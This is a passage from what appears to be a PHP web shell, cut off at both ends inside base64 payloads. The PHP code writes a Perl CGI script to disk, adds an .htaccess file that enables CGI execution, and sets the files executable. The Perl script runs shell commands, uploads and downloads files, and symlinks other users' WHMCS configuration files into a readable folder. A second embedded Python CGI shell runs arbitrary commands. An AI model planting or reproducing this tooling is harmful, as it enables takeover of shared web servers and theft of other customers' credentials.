9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvYmlsbGluZy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9CVVkvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQnV5L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2J1eS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9NQU5BR0Uvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvTWFuYWdlL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL21hbmFnZS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9DTElFTlRTVVBQT1JUL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0NsaWVudFN1cHBvcnQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQ2xpZW50c3VwcG9ydC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9jbGllbnRzdXBwb3J0L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0NIRUNLT1VUL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0NoZWNrb3V0L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2NoZWNrb3V0L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0JJTExJTkdTL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0JpbGxpbmdzL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2JpbGxpbmdzL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0JBU0tFVC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9CYXNrZXQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvYmFza2V0L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1NFQ1VSRS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9TZWN1cmUvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvc2VjdXJlL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1NBTEVTL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1NhbGVzL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3NhbGVzL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0JJTEwvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQmlsbC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9iaWxsL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1BVUkNIQVNFL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1B1cmNoYXNlL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3B1cmNoYXNlL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0FDQ09VTlQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQWNjb3VudC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9hY2NvdW50L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1VTRVIvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvVXNlci9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC91c2VyL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0NMSUVOVFMvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQ2xpZW50cy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9jbGllbnRzL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0JJTExJTkdTL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0JpbGxpbmdzL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2JpbGxpbmdzL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL01ZL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL015L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL215L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3NlY3VyZS93aG0vc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvc2VjdXJlL3dobWNzL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3BhbmVsL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2NsaWVudGVzL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2NsaWVudGUvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvc3VwcG9ydC9vcmRlci9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0gKTsgZm9yZWFjaCAoQGFycmF5KXsgbXkgJGNvbmZpZ255YSA9ICRfLT57Y29uZmlnZGlyfTsgbXkgJHR5cGVjb25maWcgPSAkXy0+e3R5cGV9OyBzeW1saW5rKCIkY29uZmlnbnlhIiwic3ltbGlua19jb25maWcvJHVzZXJueWEtJHR5cGVjb25maWcudHh0Iik7IG1rZGlyICJzeW1saW5rX2NvbmZpZy8kdXNlcm55YS0kdHlwZWNvbmZpZy50eHQ0MDQiOyBzeW1saW5rKCIkY29uZmlnbnlhIiwic3ltbGlua19jb25maWcvJHVzZXJueWEtJHR5cGVjb25maWcudHh0NDA0L3BwcS50eHQiKTsgY29weSgic3ltbGlua19jb25maWcvbmVtdS50eHQiLCJzeW1saW5rX2NvbmZpZy8kdXNlcm55YS0kdHlwZWNvbmZpZy50eHQ0MDQvLmh0YWNjZXNzIikgOyB9IH0gcHJpbnQgInN1Y2Nlc3MiOw0KfQ0Kc3ViIEhlbHANCnsNCnByaW50ICI8Y29kZT4gSG93IFRvIFVzZXIgU3ltbGluayArIENvbmZpZyBHcmFiYmVyPyBKdXN0IEtsaWsgU3ltbGluayArIENvbmZpZyBHcmFiYmVyPGJyPiI7DQpwcmludCAiIFRoZW4gQ2hlY2sgRGlycyBCeSBFbnRlciBUaGUgVVJMPGJyPiI7DQpwcmludCAiIEV4YW1wbGU6IHNpdGUuY29tL2NnaWRpcnMvc3ltbGlua19jb25maWc8YnI+IjsNCnByaW50ICIgRm9yIFN5bWxpbmsgSnVzdCBBZGQgSW4gVXJsPGJyPiI7DQpwcmludCAiIEV4YW1wbGU6IHNpdGUuY29tL2NnaWRpcnMvc3ltbGlua19jb25maWcvcm9vdC88L2NvZGU+IjsNCn0NCnN1YiBTZW5kRmlsZVRvQnJvd3Nlcg0Kew0KbG9jYWwoJFNlbmRGaWxlKSA9IEBfOw0KaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZw0Kew0KaWYoJFdpbk5UKQ0Kew0KYmlubW9kZShTRU5ERklMRSk7DQpiaW5tb2RlKFNURE9VVCk7DQp9DQokRmlsZVNpemUgPSAoc3RhdCgkU2VuZEZpbGUpKVs3XTsNCigkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+IG0hKFteL15cXF0qKSQhOw0KcHJpbnQgIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC11bmtub3duXG4iOw0KcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7DQpwcmludCAiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9JDFcblxuIjsNCnByaW50IHdoaWxlKDxTRU5ERklMRT4pOw0KY2xvc2UoU0VOREZJTEUpOw0KfQ0KZWxzZSAjIGZhaWxlZCB0byBvcGVuIGZpbGUNCnsNCiZQcmludFBhZ2VIZWFkZXIoImYiKTsNCnByaW50ICI8Y29kZT5GYWlsZWQgdG8gZG93bmxvYWQgJFNlbmRGaWxlOiAkITwvY29kZT4iOw0KJlByaW50RmlsZURvd25sb2FkRm9ybTsNCiZQcmludFBhZ2VGb290ZXI7DQp9DQp9DQoNCg0Kc3ViIEJlZ2luRG93bmxvYWQNCnsNCiMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBwYXRoIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCmlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfA0KKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlDQp7DQokVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7DQp9DQplbHNlICMgcGF0aCBpcyByZWxhdGl2ZQ0Kew0KY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCiRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQp9DQoNCmlmKCRPcHRpb25zIGVxICJnbyIpICMgd2UgaGF2ZSB0byBzZW5kIHRoZSBmaWxlDQp7DQomU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZpbGUpOw0KfQ0KZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UNCnsNCiZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOw0KfQ0KfQ0Kc3ViIFVwbG9hZEZpbGUNCnsNCiMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSB1cGxvYWQgZm9ybSBhZ2Fpbg0KaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikNCnsNCiZQcmludFBhZ2VIZWFkZXIoImYiKTsNCiZQcmludEZpbGVVcGxvYWRGb3JtOw0KJlByaW50UGFnZUZvb3RlcjsNCnJldHVybjsNCn0NCiZQcmludFBhZ2VIZWFkZXIoImMiKTsNCg0KIyBzdGFydCB0aGUgdXBsb2FkaW5nIHByb2Nlc3MNCnByaW50ICI8Y29kZT5VcGxvYWRpbmcgJFRyYW5zZmVyRmlsZSB0byAkQ3VycmVudERpci4uLjxicj4iOw0KDQojIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkDQpjaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCiRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7DQokVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsNCg0KJFRhcmdldEZpbGVTaXplID0gbGVuZ3RoKCRpbnsnZmlsZWRhdGEnfSk7DQojIGlmIHRoZSBmaWxlIGV4aXN0cyBhbmQgd2UgYXJlIG5vdCBzdXBwb3NlZCB0byBvdmVyd3JpdGUgaXQNCmlmKC1lICRUYXJnZXROYW1lICYmICRPcHRpb25zIG5lICJvdmVyd3JpdGUiKQ0Kew0KcHJpbnQgIkZhaWxlZDogRGVzdGluYXRpb24gZmlsZSBhbHJlYWR5IGV4aXN0cy48YnI+IjsNCn0NCmVsc2UgIyBmaWxlIGlzIG5vdCBwcmVzZW50DQp7DQppZihvcGVuKFVQTE9BREZJTEUsICI+JFRhcmdldE5hbWUiKSkNCnsNCmJpbm1vZGUoVVBMT0FERklMRSkgaWYgJFdpbk5UOw0KcHJpbnQgVVBMT0FERklMRSAkaW57J2ZpbGVkYXRhJ307DQpjbG9zZShVUExPQURGSUxFKTsNCnByaW50ICJUcmFuc2ZlcmVkICRUYXJnZXRGaWxlU2l6ZSBCeXRlcy48YnI+IjsNCnByaW50ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7DQp9DQplbHNlDQp7DQpwcmludCAiRmFpbGVkOiAkITxicj4iOw0KfQ0KfQ0KcHJpbnQgIjwvY29kZT4iOw0KJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQomUHJpbnRQYWdlRm9vdGVyOw0KfQ0KDQpzdWIgRG93bmxvYWRGaWxlDQp7DQojIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgZG93bmxvYWQgZm9ybSBhZ2Fpbg0KaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikNCnsNCiZQcmludFBhZ2VIZWFkZXIoImYiKTsNCiZQcmludEZpbGVEb3dubG9hZEZvcm07DQomUHJpbnRQYWdlRm9vdGVyOw0KcmV0dXJuOw0KfQ0KDQojIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQppZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwNCighJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQ0Kew0KJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOw0KfQ0KZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUNCnsNCmNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQokVGFyZ2V0RmlsZSAuPSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KfQ0KDQppZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQ0Kew0KJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsNCn0NCmVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlDQp7DQomUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsNCn0NCn0NCg0KJlJlYWRQYXJzZTsNCiZHZXRDb29raWVzOw0KDQokU2NyaXB0TG9jYXRpb24gPSAkRU5WeydTQ1JJUFRfTkFNRSd9Ow0KJFNlcnZlck5hbWUgPSAkRU5WeydTRVJWRVJfTkFNRSd9Ow0KJFJ1bkNvbW1hbmQgPSAkaW57J2MnfTsNCiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsNCiRPcHRpb25zID0gJGlueydvJ307DQoNCiRBY3Rpb24gPSAkaW57J2EnfTsNCiRBY3Rpb24gPSAiY29tbWFuZCIgaWYoJEFjdGlvbiBlcSAiIik7DQoNCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQNCiRDdXJyZW50RGlyID0gJGlueydkJ307DQpjaG9wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7DQppZigkQWN0aW9uIGVxICJjb21tYW5kIikgIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQNCnsNCiZFeGVjdXRlQ29tbWFuZDsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpICMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlDQp7DQomVXBsb2FkRmlsZTsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgImRvd25sb2FkIikgIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQ0Kew0KJkRvd25sb2FkRmlsZTsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgInN5bWNvbmZpZyIpDQp7DQomUHJpbnRQYWdlSGVhZGVyOw0KcHJpbnQgJlN5bUNvbmZpZzsNCn1lbHNpZigkQWN0aW9uIGVxICJoZWxwIikNCnsNCiZQcmludFBhZ2VIZWFkZXI7DQpwcmludCAmSGVscDsNCn0=";
	$cgi = fopen($file_cgi, "w");
	fwrite($cgi, base64_decode($cgi_script));
	fwrite($htcgi, $isi_htcgi);
	chmod($file_cgi, 0755);
    chmod($memeg, 0755);
	echo "<center>Done <a href='kuda_cgi/cgi2.kuda' target='_blank'><font color='lime'>Click Here</a></font>";
} if(isset($_POST['cgipy'])) {
	$cgi_dir = mkdir('kuda_cgi', 0755);
    chdir('kuda_cgi');
	$file_cgi = "cgipy.kuda";
    $memeg = ".htaccess";
	$isi_htcgi = "Options Indexes Includes ExecCGI FollowSymLinks
AddType application/x-httpd-cgi .kuda
AddHandler cgi-script .kuda
AddHandler cgi-script .kuda";
	$htcgi = fopen(".htaccess", "w");
	$cgi_script = "IyEvdXNyL2Jpbi9weXRob24NCiMgMDctMDctMDQNCiMgdjEuMC4wDQoNCiMgY2dpLXNoZWxsLnB5DQojIEEgc2ltcGxlIENHSSB0aGF0IGV4ZWN1dGVzIGFyYml0cmFyeSBzaGVsbCBjb21tYW5kcy4NCg0KDQojIENvcHlyaWdodCBNaWNoYWVsIEZvb3JkDQojIFlvdSBhcmUgZnJlZSB0byBtb2RpZnksIHVzZSBhbmQgcmVsaWNlbnNlIHRoaXMgY29kZS4NCg0KIyBObyB3YXJyYW50eSBleHByZXNzIG9yIGltcGxpZWQgZm9yIHRoZSBhY2N1cmFjeSwgZml0bmVzcyB0byBwdXJwb3NlIG9yIG90aGVyd2lzZSBmb3IgdGhpcyBjb2RlLi4uLg0KIyBVc2UgYXQgeW91ciBvd24gcmlzayAhISENCg0KIyBFLW1haWwgbWljaGFlbCBBVCBmb29yZCBET1QgbWUgRE9UIHVrDQojIE1haW50YWluZWQgYXQgd3d3LnZvaWRzcGFjZS5vcmcudWsvYXRsYW50aWJvdHMvcHl0aG9udXRpbHMuaHRtbA0KDQoiIiINCkEgc2ltcGxlIENHSSBzY3JpcHQgdG8gZXhlY3V0ZSBzaGVsbCBjb21tYW5kcyB2aWEgQ0dJLg0KIiIiDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIEltcG9ydHMNCnRyeToNCiAgICBpbXBvcnQgY2dpdGI7IGNnaXRiLmVuYWJsZSgpDQpleGNlcHQ6DQogICAgcGFzcw0KaW1wb3J0IHN5cywgY2dpLCBvcw0Kc3lzLnN0ZGVyciA9IHN5cy5zdGRvdXQNCmZyb20gdGltZSBpbXBvcnQgc3RyZnRpbWUNCmltcG9ydCB0cmFjZWJhY2sNCmZyb20gU3RyaW5nSU8gaW1wb3J0IFN0cmluZ0lPDQpmcm9tIHRyYWNlYmFjayBpbXBvcnQgcHJpbnRfZXhjDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgY29uc3RhbnRzDQoNCmZvbnRsaW5lID0gJzxGT05UIENPTE9SPSM0MjQyNDIgc3R5bGU9ImZvbnQtZmFtaWx5OnRpbWVzO2ZvbnQtc2l6ZToxMnB0OyI+Jw0KdmVyc2lvbnN0cmluZyA9ICdWZXJzaW9uIDEuMC4wIDd0aCBKdWx5IDIwMDQnDQoNCmlmIG9zLmVudmlyb24uaGFzX2tleSgiU0NSSVBUX05BTUUiKToNCiAgICBzY3JpcHRuYW1lID0gb3MuZW52aXJvblsiU0NSSVBUX05BTUUiXQ0KZWxzZToNCiAgICBzY3JpcHRuYW1lID0gIiINCg0KTUVUSE9EID0gJyJQT1NUIicNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBQcml2YXRlIGZ1bmN0aW9ucyBhbmQgdmFyaWFibGVzDQoNCmRlZiBnZXRmb3JtKHZhbHVlbGlzdCwgdGhlZm9ybSwgbm90cHJlc2VudD0nJyk6DQogICAgIiIiVGhpcyBmdW5jdGlvbiwgZ2l2ZW4gYSBDR0kgZm9ybSwgZXh0cmFjdHMgdGhlIGRhdGEgZnJvbSBpdCwgYmFzZWQgb24NCiAgICB2YWx1ZWxpc3QgcGFzc2VkIGluLiBBbnkgbm9uLXByZXNlbnQgdmFsdWVzIGFyZSBzZXQgdG8gJycgLSBhbHRob3VnaCB0aGlzIGNhbiBiZSBjaGFuZ2VkLg0KICAgIChlLmcuIHRvIHJldHVybiBOb25lIHNvIHlvdSBjYW4gdGVzdCBmb3IgbWlzc2luZyBrZXl3b3JkcyAtIHdoZXJlICcnIGlzIGEgdmFsaWQgYW5zd2VyIGJ1dCB0byBoYXZlIHRoZSBmaWVsZCBtaXNzaW5nIGlzbid0LikiIiINCiAgICBkYXRhID0ge30NCiAgICBmb3IgZmllbGQgaW4gdmFsdWVsaXN0Og0KICAgICAgICBpZiBub3QgdGhlZm9ybS5oYXNfa2V5KGZpZWxkKToNCiAgICAgICAgICAgIGRhdGFbZmllbGRdID0gbm90cHJlc2VudA0KICAgICAgICBlbHNlOg0KICAgICAgICAgICAgaWYgIHR5cGUodGhlZm9ybVtmaWVsZF0pICE9IHR5cGUoW10pOg0KICAgICAgICAgICAgICAgIGRhdGFbZmllbGRdID0gdGhlZm9ybVtmaWVsZF0udmFsdWUNCiAgICAgICAgICAgIGVsc2U6DQogICAgICAgICAgICAgICAgdmFsdWVzID0gbWFwKGxhbWJkYSB4OiB4LnZhbHVlLCB0aGVmb3JtW2ZpZWxkXSkgICAgICMgYWxsb3dzIGZvciBsaXN0IHR5cGUgdmFsdWVzDQogICAgICAgICAgICAgICAgZGF0YVtmaWVsZF0gPSB2YWx1ZXMNCiAgICByZXR1cm4gZGF0YQ0KDQoNCnRoZWZvcm1oZWFkID0gIiIiPEhUTUw+PEhFQUQ+PFRJVExFPmNnaS1zaGVsbC5weSAtIGEgQ0dJIGJ5IEZ1enp5bWFuPC9USVRMRT48L0hFQUQ+DQo8Qk9EWT48Q0VOVEVSPg0KPEgxPldlbGNvbWUgdG8gY2dpLXNoZWxsLnB5IC0gPEJSPmEgUHl0aG9uIENHSTwvSDE+DQo8Qj48ST5CeSBGdXp6eW1hbjwvQj48L0k+PEJSPg0KIiIiK2ZvbnRsaW5lICsiVmVyc2lvbiA6ICIgKyB2ZXJzaW9uc3RyaW5nICsgIiIiLCBSdW5uaW5nIG9uIDogIiIiICsgc3RyZnRpbWUoJyVJOiVNICVwLCAlQSAlZCAlQiwgJVknKSsnLjwvQ0VOVEVSPjxCUj4nDQoNCnRoZWZvcm0gPSAiIiI8SD